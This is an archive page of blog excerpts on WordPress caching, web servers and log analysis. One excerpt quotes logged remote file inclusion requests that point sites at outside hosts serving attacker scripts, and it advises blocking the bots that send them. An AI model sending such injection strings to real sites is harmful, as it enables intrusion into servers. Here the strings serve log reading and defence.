You might not be on Mastodon yet, but your blog could get a torrent of traffic from Mastodon, or other Fediverse network if it’s shared there. If your website is mentioned there, it might be the “victim” of an inadvertent denial of service attack, as hundreds or thousands of servers […]
Speed up WordPress with Apache and Varnish
Varnish is an open source, state of the art web application accelerator. What it does is make your existing site faster by caching requests so your web server doesn’t have to handle them. This helps because your web server may be a lumbering giant like Apache that is loaded up […]
WP Super Cache and mod_pagespeed
So I finally got a chance to try mod_pagespeed on this server. I particularly wanted to know if it behaved well with WP Super Cache as I’d read reports that it causes problems. Unfortunately those problems are real but I’ve been told that a new release will be out shortly […]
Who's abusing your website?
I wanted to know what IP addresses were hitting my website. I’d done this before and it only took a moment or two to recreate the following commands. Still, here it is for future reference. grep -v “wp-content” access.log|grep -v wp-includes|cut -f 1 -d ” “|sort|uniq -c|sort -nr|less This code: […]
WordPress, Nginx and WP Super Cache
If you host your own WordPress blog, it’s probably on Apache. That all fine and good. For most sites Apache works wonderfully, especially as it’s so easy to find information on it, on mod_rewrite and everything else that everyone else uses. One of the alternatives is Nginx, a really fast […]
100,000 page views in 5 minutes
Now, that’s why you can’t believe benchmarks. Sure, this server was able to serve 100,000 page views in 282 seconds but: Requests were made from a VPS in the same datacenter. No need to worry about slow clients, or maintaining network connections to many remote clients. I used Litespeed Web […]
Keep the libwww-perl bots out
If you look through your server logs you’ll probably notice more than a few requests like these: GET //wp-pass.php?_wp_http_referer=http://148.245.107.2/.ssh/id.txt?? … “libwww-perl/5.805” GET /2004/02/18/smoking-ban-is-on-the-way/trackback/ … “libwww-perl/5.805” GET /2004/02/18/irish-car-tax-list/trackback/ … “libwww-perl/5.805” GET /tag/php//tags.php?BBCodeFile=http://drpepper.gigacities.net/id.txt? … “libwww-perl/5.579” If you do find them (grep libwww-perl access_log) then add the following code to your .htaccess file. […]
Is your eAccelerator cache dir still there?
While looking through this WordPress performance post I realised that eAccelerator might not be running properly on this blog. For some time I’ve noticed this site hasn’t been as quick off the mark as it used to be. Dare I say it, but it was even a little sluggish! If […]
Notes when upgrading to PHP5
I upgraded one of my servers to PHP5 this morning. Two things to watch out for: The location of your php.ini may have changed. It’s probably now in /etc/php5/apache2/. You need to copy over any changes from your old one. Update your libraries too such as the mysql client and […]
The real way to improve server performance
If you want to improve server performance, the best way is to move as much of the processing off it and onto the client machine. All those visitors of yours are running souped up AMD and Intel CPUs with their big screens and fat harddrives. No wonder your small little […]